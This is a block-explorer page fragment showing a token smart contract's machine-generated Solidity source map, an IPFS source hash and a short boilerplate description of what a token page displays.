-1:-1;;;7620:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;26183:27:0::1;26213:5;26183:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;26183:35:0::1;::::0;;26116:110::o;7717:244::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7806:22:0;::::1;7798:73;;;::::0;-1:-1:-1;;;7798:73:0;;8016:2:1;7798:73:0::1;::::0;::::1;7998:21:1::0;8055:2;8035:18;;;8028:30;8094:34;8074:18;;;8067:62;-1:-1:-1;;;8145:18:1;;;8138:36;8191:19;;7798:73:0::1;7814:402:1::0;7798:73:0::1;7908:6;::::0;;7887:38:::1;::::0;-1:-1:-1;;;;;7887:38:0;;::::1;::::0;7908:6;::::1;::::0;7887:38:::1;::::0;::::1;7936:6;:17:::0;;-1:-1:-1;;;;;;7936:17:0::1;-1:-1:-1::0;;;;;7936:17:0;;;::::1;::::0;;;::::1;::::0;;7717:244::o;22683:87::-;7537:7;7565:6;-1:-1:-1;;;;;7565:6:0;3445:10;7628:23;7620:68;;;;-1:-1:-1;;;7620:68:0;;;;;;;:::i;:::-;22745:7:::1;:17:::0;;;::::1;;-1:-1:-1::0;;;22745:17:0::1;-1:-1:-1::0;;;;22745:17:0;;::::1;::::0;;;::::1;::::0;;22683:87::o;30025:335::-;-1:-1:-1;;;;;30118:19:0;;30110:68;;;;-1:-1:-1;;;30110:68:0;;8423:2:1;30110:68:0;;;8405:21:1;8462:2;8442:18;;;8435:30;8501:34;8481:18;;;8474:62;-1:-1:-1;;;8552:18:1;;;8545:34;8596:19;;30110:68:0;8221:400:1;30110:68:0;-1:-1:-1;;;;;30197:21:0;;30189:68;;;;-1:-1:-1;;;30189:68:0;;8828:2:1;30189:68:0;;;8810:21:1;8867:2;8847:18;;;8840:30;8906:34;8886:18;;;8879:62;-1:-1:-1;;;8957:18:1;;;8950:32;8999:19;;30189:68:0;8626:398:1;30189:68:0;-1:-1:-1;;;;;30268:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;30320:32;;1550:25:1;;;30320:32:0;;1523:18:1;30320:32:0;;;;;;;30025:335;;;:::o;30369:503::-;-1:-1:-1;;;;;30457:18:0;;30449:68;;;;-1:-1:-1;;;30449:68:0;;9231:2:1;30449:68:0;;;9213:21:1;9270:2;9250:18;;;9243:30;9309:34;9289:18;;;9282:62;-1:-1:-1;;;9360:18:1;;;9353:35;9405:19;;30449:68:0;9029:401:1;30449:68:0;-1:-1:-1;;;;;30536:16:0;;30528:64;;;;-1:-1:-1;;;30528:64:0;;9637:2:1;30528:64:0;;;9619:21:1;9676:2;9656:18;;;9649:30;9715:34;9695:18;;;9688:62;-1:-1:-1;;;9766:18:1;;;9759:33;9809:19;;30528:64:0;9435:399:1;30528:64:0;30620:1;30611:6;:10;30603:64;;;;-1:-1:-1;;;30603:64:0;;10041:2:1;30603:64:0;;;10023:21:1;10080:2;10060:18;;;10053:30;10119:34;10099:18;;;10092:62;-1:-1:-1;;;10170:18:1;;;10163:39;10219:19;;30603:64:0;9839:405:1;30603:64:0;30696:15;30706:4;30696:9;:15::i;:::-;30686:6;:25;;30678:85;;;;-1:-1:-1;;;30678:85:0;;10451:2:1;30678:85:0;;;10433:21:1;10490:2;10470:18;;;10463:30;10529:34;10509:18;;;10502:62;-1:-1:-1;;;10580:18:1;;;10573:46;10636:19;;30678:85:0;10249:412:1;30678:85:0;-1:-1:-1;;;;;30812:24:0;;;;;;:18;:24;;;;;;30777:87;;30792:4;;30798:2;;30802:6;;30812:24;;;:50;;-1:-1:-1;;;;;;30840:22:0;;;;;;:18;:22;;;;;;;;30812:50;30810:53;30777:14;:87::i;:::-;30369:503;;;:::o;2588:240::-;2708:7;2769:12;2761:6;;;;2753:29;;;;-1:-1:-1;;;2753:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2804:5:0;;;2588:240::o;28232:158::-;28273:7;28294:15;28311;28330:19;:17;:19::i;:::-;28293:56;;-1:-1:-1;28293:56:0;-1:-1:-1;28367:15:0;28293:56;;28367:15;:::i;:::-;28360:22;;;;28232:158;:::o;15495:::-;15568:4;15592:53;15600:3;-1:-1:-1;;;;;15620:23:0;;15592:7;:53::i;26588:388::-;26661:36;;:::i;:::-;26722:29;26734:7;26743;26722:11;:29::i;:::-;26710:41;;26886:52;26898:9;26909:7;26918;26927:10;:8;:10::i;:::-;26886:11;:52::i;:::-;26867:15;;;26765:173;26846:20;;;26765:173;26825:20;;;26765:173;26810:14;;;26765:173;26784:25;;;26765:173;;;26588:388;;;;:::o;30887:2512::-;31002:7;30999:1207;;;31039:17;;-1:-1:-1;;;;;31039:17:0;;;31029:27;;;;31026:936;;7537:7;7565:6;-1:-1:-1;;;;;31080:17:0;;;7565:6;;31080:17;;;;:41;;-1:-1:-1;7537:7:0;7565:6;-1:-1:-1;;;;;31101:20:0;;;7565:6;;31101:20;;31080:41;:68;;;;-1:-1:-1;;;;;;31125:23:0;;31146:1;31125:23;;31080:68;31077:259;;;-1:-1:-1;;;;;31179:31:0;;;;;;:20;:31;;;;;;:36;;31175:142;;-1:-1:-1;;;;;31244:31:0;;;;;;:20;:31;;;;;31278:15;31244:49;;31175:142;31354:11;:23;;-1:-1:-1;;;;;;31354:23:0;-1:-1:-1;;;;;31354:23:0;;;;;31410:8;31396:22;:11;:22;;;;;;;;;;;;;30999:1207;;31026:936;7537:7;7565:6;-1:-1:-1;;;;;31463:17:0;;;7565:6;;31463:17;;;;:41;;-1:-1:-1;7537:7:0;7565:6;-1:-1:-1;;;;;31484:20:0;;;7565:6;;31484:20;;31463:41;:68;;;;-1:-1:-1;;;;;;31508:23:0;;31529:1;31508:23;;31463:68;31460:338;;;-1:-1:-1;;;;;20553:28:0;;31555:20;20553:28;;;:20;:28;;;;;;31578:75;;31631:13;;31646:6;31578:20;:75::i;:::-;31555:98;;31684:15;31676:33;;;;-1:-1:-1;;;31676:33:0;;10868:2:1;31676:33:0;;;10850:21:1;10907:1;10887:18;;;10880:29;-1:-1:-1;;;10925:18:1;;;10918:35;10970:18;;31676:33:0;10666:328:1;31676:33:0;-1:-1:-1;;;;;;31732:23:0;;;;;;:15;:23;;;;;31758:15;31732:41;;31460:338;31830:9;31816:23;:11;:23;;;;;;;;;;;;;31923:11;:20;;-1:-1:-1;;;;;;31923:20:0;-1:-1:-1;;;;;31923:20:0;;;;;30999:1207;;;-1:-1:-1;;;;;32006:26:0;;;;;;:18;:26;;;;;;;;32003:86;;;32053:11;:20;;-1:-1:-1;;;;;;32053:20:0;-1:-1:-1;;;;;32053:20:0;;;;;32003:86;-1:-1:-1;;;;;32106:29:0;;;;;;:18;:29;;;;;;;;32103:92;;;32156:11;:23;;-1:-1:-1;;;;;;32156:23:0;-1:-1:-1;;;;;32156:23:0;;;;;32103:92;32219:28;32250;32261:7;32270;32250:10;:28::i;:::-;-1:-1:-1;;;;;32296:19:0;;;;;;:11;:19;;;;;;32219:59;;-1:-1:-1;32296:19:0;;:46;;;;-1:-1:-1;;;;;;32320:22:0;;;;;;:11;:22;;;;;;;;32319:23;32296:46;32292:475;;;-1:-1:-1;;;;;32381:15:0;;;;;;:7;:15;;;;;;:23;;32397:7;;32381:23;:::i;:::-;-1:-1:-1;;;;;32363:15:0;;;;;;:7;:15;;;;;:41;32292:475;;;-1:-1:-1;;;;;32427:19:0;;;;;;:11;:19;;;;;;;;32426:20;:46;;;;-1:-1:-1;;;;;;32450:22:0;;;;;;:11;:22;;;;;;;;32426:46;32422:345;;;32533:17;;;;-1:-1:-1;;;;;32514:18:0;;;;;;:7;:18;;;;;;:36;;32533:17;32514:36;:::i;:::-;-1:-1:-1;;;;;32493:18:0;;;;;;:7;:18;;;;;:57;32422:345;;;-1:-1:-1;;;;;32572:19:0;;;;;;:11;:19;;;;;;;;:45;;;;-1:-1:-1;;;;;;32595:22:0;;;;;;:11;:22;;;;;;;;32572:45;32568:199;;;-1:-1:-1;;;;;32656:15:0;;;;;;:7;:15;;;;;;:23;;32672:7;;32656:23;:::i;:::-;-1:-1:-1;;;;;32638:15:0;;;;;;;:7;:15;;;;;;:41;;;;32738:17;;;;32719:18;;;;;;;;;;:36;;32738:17;32719:36;:::i;:::-;-1:-1:-1;;;;;32698:18:0;;;;;;:7;:18;;;;;:57;32568:199;32814:9;;-1:-1:-1;;;;;32798:15:0;;32814:9;32798:15;;;:7;:15;;;;;;:25;;32814:9;32798:25;:::i;:::-;-1:-1:-1;;;;;32780:15:0;;;;;;;:7;:15;;;;;;;;:43;;;;32874:17;;;32855:18;;;;;;;;;;:36;;32874:17;32855:36;:::i;:::-;-1:-1:-1;;;;;32834:18:0;;;;;;:7;:18;;;;;:57;32905:292;;;;32937:27;32949:1;:6;;;32957:1;:6;;;32937:11;:27::i;:::-;32975:41;32990:1;:12;;;33003:1;:12;;;32975:14;:41::i;:::-;33027;33042:1;:12;;;33055:1;:12;;;33027:14;:41::i;:::-;33079:26;33089:1;:7;;;33097:1;:7;;;33079:9;:26::i;:::-;33149:4;-1:-1:-1;;;;;33124:58:0;33133:6;-1:-1:-1;;;;;33124:58:0;;33169:1;:12;;;33156:1;:12;;;:25;;;;:::i;:::-;33124:58;;1550:25:1;;;1538:2;1523:18;33124:58:0;;;;;;;32905:292;33232:9;-1:-1:-1;;;;;33215:46:0;33224:6;-1:-1:-1;;;;;33215:46:0;;33243:1;:17;;;33215:46;;;;1550:25:1;;1538:2;1523:18;;1404:177;33215:46:0;;;;;;;;33272:34;:19;33296:9;33272:23;:34::i;:::-;;33323:17;33333:6;33323:9;:17::i;:::-;33342:1;33323:20;33320:68;;33354:34;:19;33381:6;33354:26;:34::i;:::-;;33320:68;30985:2414;30887:2512;;;;:::o;28399:540::-;28496:7;;28532;;28449;;;;;28550:279;28574:9;:16;28570:20;;28550:279;;;28640:7;28616;:21;28624:9;28634:1;28624:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;28624:12:0;28616:21;;;;;;;;;;;;;:31;;:66;;;28675:7;28651;:21;28659:9;28669:1;28659:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;28659:12:0;28651:21;;;;;;;;;;;;;:31;28616:66;28612:97;;;28692:7;;28701;;28684:25;;;;;;;28399:540;;:::o;28612:97::-;28742:7;:21;28750:9;28760:1;28750:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;28750:12:0;28742:21;;;;;;;;;;;;;28734:29;;:7;:29;:::i;:::-;28724:39;;28796:7;:21;28804:9;28814:1;28804:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;28804:12:0;28796:21;;;;;;;;;;;;;28788:29;;:7;:29;:::i;:::-;28778:39;-1:-1:-1;28592:3:0;;;;:::i;:::-;;;;28550:279;;;;28861:7;;28853;;:15;;;;:::i;:::-;28843:7;:25;28839:56;;;28878:7;;28887;;28870:25;;;;;;28399:540;;:::o;28839:56::-;28914:7;;28923;;-1:-1:-1;28399:540:0;-1:-1:-1;28399:540:0:o;14083:681::-;14149:4;14187:19;;;:12;;;:19;;;;;;14224:15;;14220:537;;14256:21;14280:14;14293:1;14280:10;:14;:::i;:::-;14329:18;;14256:38;;-1:-1:-1;14309:17:0;;14329:22;;14350:1;;14329:22;:::i;:::-;14309:42;;14386:13;14373:9;:26;14369:224;;14420:17;14440:3;:11;;14452:9;14440:22;;;;;;;;:::i;:::-;;;;;;;;;14420:42;;14513:9;14484:3;:11;;14496:13;14484:26;;;;;;;;:::i;:::-;;;;;;;;;;;;:38;;;;14541:23;;;:12;;;:23;;;;;:36;;;14369:224;14610:17;;:3;;:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;14652:3;:12;;:19;14665:5;14652:19;;;;;;;;;;;14645:26;;;14696:4;14689:11;;;;;;;14220:537;14740:5;14733:12;;;;;26985:527;27059:28;;:::i;:::-;27107:7;27103:86;;27129:17;;;:27;;;27169:8;;27103:86;27216:11;:15;27232:3;;27208:23;;:7;:23;:::i;:::-;:27;;;;:::i;:::-;27199:6;;;:36;27269:21;;27291:3;;27261:29;;:7;:29;:::i;:::-;:33;;;;:::i;:::-;27246:12;;;:48;27328:21;;27350:3;;27320:29;;:7;:29;:::i;:::-;:33;;;;:::i;:::-;27305:12;;;:48;27382:16;;27399:3;;27374:24;;:7;:24;:::i;:::-;:28;;;;:::i;:::-;27364:7;;;:38;;;27463:12;;;;27449;;;;27441:6;;;;27433:14;;:7;:14;:::i;:::-;:28;;;;:::i;:::-;:42;;;;:::i;:::-;:51;;;;:::i;:::-;27413:17;;;:71;26985:527;;;;:::o;27521:699::-;27646:15;;;;;;27778:19;27786:11;27778:7;:19;:::i;:::-;27768:29;;27815:7;27811:71;;-1:-1:-1;27844:7:0;;-1:-1:-1;27862:1:0;;-1:-1:-1;27862:1:0;;-1:-1:-1;27862:1:0;;-1:-1:-1;27862:1:0;27837:33;;27811:71;27908:11;27901:1;:6;;;:18;;;;:::i;:::-;27895:24;;27955:11;27942:1;:12;;;:24;;;;:::i;:::-;27930:36;;28002:11;27989:1;:12;;;:24;;;;:::i;:::-;27977:36;;28039:11;28031:1;:7;;;:19;;;;:::i;:::-;28024:26;-1:-1:-1;28024:26:0;28106:10;28095;28081:13;28090:4;28081:7;:13;:::i;:::-;:24;;;;:::i;:::-;:35;;;;:::i;:::-;:41;;;;:::i;:::-;28064:58;;27521:699;;;;;;;;;;;;:::o;28948:130::-;29034:4;29026:7;;:12;;;;:::i;:::-;29016:7;:22;29049:11;:21;;29066:4;;29049:11;:15;;:21;;29066:4;;29049:21;:::i;:::-;;;;-1:-1:-1;;;;28948:130:0:o;29087:384::-;29205:10;29170:15;:33;;;:45;;;;;;;:::i;:::-;;;;-1:-1:-1;;29226:21:0;:33;;29249:10;;29226:21;;;:33;;29249:10;;29226:33;:::i;:::-;;;;-1:-1:-1;;29311:4:0;29295:22;;;;:7;:22;;;;;;:33;;29318:10;;29295:33;:::i;:::-;29286:4;29270:22;;;;:7;:22;;;;;;;;:58;;;;29342:11;:26;;;;;;29339:125;;;29435:4;29419:22;;;;:7;:22;;;;;;:33;;29442:10;;29419:33;:::i;:::-;29410:4;29394:22;;;;:7;:22;;;;;:58;29087:384;;:::o;29480:357::-;29590:10;29562:15;:26;;;:38;;;;;;;:::i;:::-;;;;-1:-1:-1;;29611:21:0;:33;;29634:10;;29611:21;;;:33;;29634:10;;29611:33;:::i;29846:170::-;29932:5;29914:11;:16;;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;29961:7:0;;:13;;29969:5;;29961:13;:::i;:::-;29951:7;:23;29995:7;;:13;;30003:5;;29995:13;:::i;:::-;29985:7;:23;-1:-1:-1;;29846:170:0:o;15334:152::-;15404:4;15428:50;15433:3;-1:-1:-1;;;;;15453:23:0;;13846:4;13868:21;13878:3;13883:5;14846:4;14870:19;;;:12;;;;;:19;;;;;;:24;;;14773:129;13868:21;13863:204;;-1:-1:-1;13906:23:0;;;;;;;;:11;:23;;;;;;;;;;;;;13966:18;;13944:19;;;:12;;;:19;;;;;;:40;;;;13999:11;;13863:204;-1:-1:-1;14050:5:0;14043:12;;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1586:328::-;1663:6;1671;1679;1732:2;1720:9;1711:7;1707:23;1703:32;1700:52;;;1748:1;1745;1738:12;1700:52;1771:29;1790:9;1771:29;:::i;:::-;1761:39;;1819:38;1853:2;1842:9;1838:18;1819:38;:::i;:::-;1809:48;;1904:2;1893:9;1889:18;1876:32;1866:42;;1586:328;;;;;:::o;1919:160::-;1984:20;;2040:13;;2033:21;2023:32;;2013:60;;2069:1;2066;2059:12;2084:180;2140:6;2193:2;2181:9;2172:7;2168:23;2164:32;2161:52;;;2209:1;2206;2199:12;2161:52;2232:26;2248:9;2232:26;:::i;2269:180::-;2328:6;2381:2;2369:9;2360:7;2356:23;2352:32;2349:52;;;2397:1;2394;2387:12;2349:52;-1:-1:-1;2420:23:1;;2269:180;-1:-1:-1;2269:180:1:o;2643:186::-;2702:6;2755:2;2743:9;2734:7;2730:23;2726:32;2723:52;;;2771:1;2768;2761:12;2723:52;2794:29;2813:9;2794:29;:::i;2834:248::-;2899:6;2907;2960:2;2948:9;2939:7;2935:23;2931:32;2928:52;;;2976:1;2973;2966:12;2928:52;3012:9;2999:23;2989:33;;3041:35;3072:2;3061:9;3057:18;3041:35;:::i;:::-;3031:45;;2834:248;;;;;:::o;3087:385::-;3173:6;3181;3189;3197;3250:3;3238:9;3229:7;3225:23;3221:33;3218:53;;;3267:1;3264;3257:12;3218:53;-1:-1:-1;;3290:23:1;;;3360:2;3345:18;;3332:32;;-1:-1:-1;3411:2:1;3396:18;;3383:32;;3462:2;3447:18;3434:32;;-1:-1:-1;3087:385:1;-1:-1:-1;3087:385:1:o;4361:322::-;4438:6;4446;4454;4507:2;4495:9;4486:7;4482:23;4478:32;4475:52;;;4523:1;4520;4513:12;4475:52;4559:9;4546:23;4536:33;;4616:2;4605:9;4601:18;4588:32;4578:42;;4639:38;4673:2;4662:9;4658:18;4639:38;:::i;:::-;4629:48;;4361:322;;;;;:::o;4688:260::-;4756:6;4764;4817:2;4805:9;4796:7;4792:23;4788:32;4785:52;;;4833:1;4830;4823:12;4785:52;4856:29;4875:9;4856:29;:::i;:::-;4846:39;;4904:38;4938:2;4927:9;4923:18;4904:38;:::i;4953:356::-;5155:2;5137:21;;;5174:18;;;5167:30;5233:34;5228:2;5213:18;;5206:62;5300:2;5285:18;;4953:356::o;5725:127::-;5786:10;5781:3;5777:20;5774:1;5767:31;5817:4;5814:1;5807:15;5841:4;5838:1;5831:15;5857:217;5897:1;5923;5913:132;;5967:10;5962:3;5958:20;5955:1;5948:31;6002:4;5999:1;5992:15;6030:4;6027:1;6020:15;5913:132;-1:-1:-1;6059:9:1;;5857:217::o;6431:127::-;6492:10;6487:3;6483:20;6480:1;6473:31;6523:4;6520:1;6513:15;6547:4;6544:1;6537:15;6563:128;6630:9;;;6651:11;;;6648:37;;;6665:18;;:::i;6696:127::-;6757:10;6752:3;6748:20;6745:1;6738:31;6788:4;6785:1;6778:15;6812:4;6809:1;6802:15;6828:135;6867:3;6888:17;;;6885:43;;6908:18;;:::i;:::-;-1:-1:-1;6955:1:1;6944:13;;6828:135::o;6968:125::-;7033:9;;;7054:10;;;7051:36;;;7067:18;;:::i;10999:168::-;11072:9;;;11103;;11120:15;;;11114:22;;11100:37;11090:71;;11141:18;;:::i

Swarm Source

ipfs://179f5d00461290ed9b730f462055095a4fd5e4dd01f2268f498b896a5c930c65
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.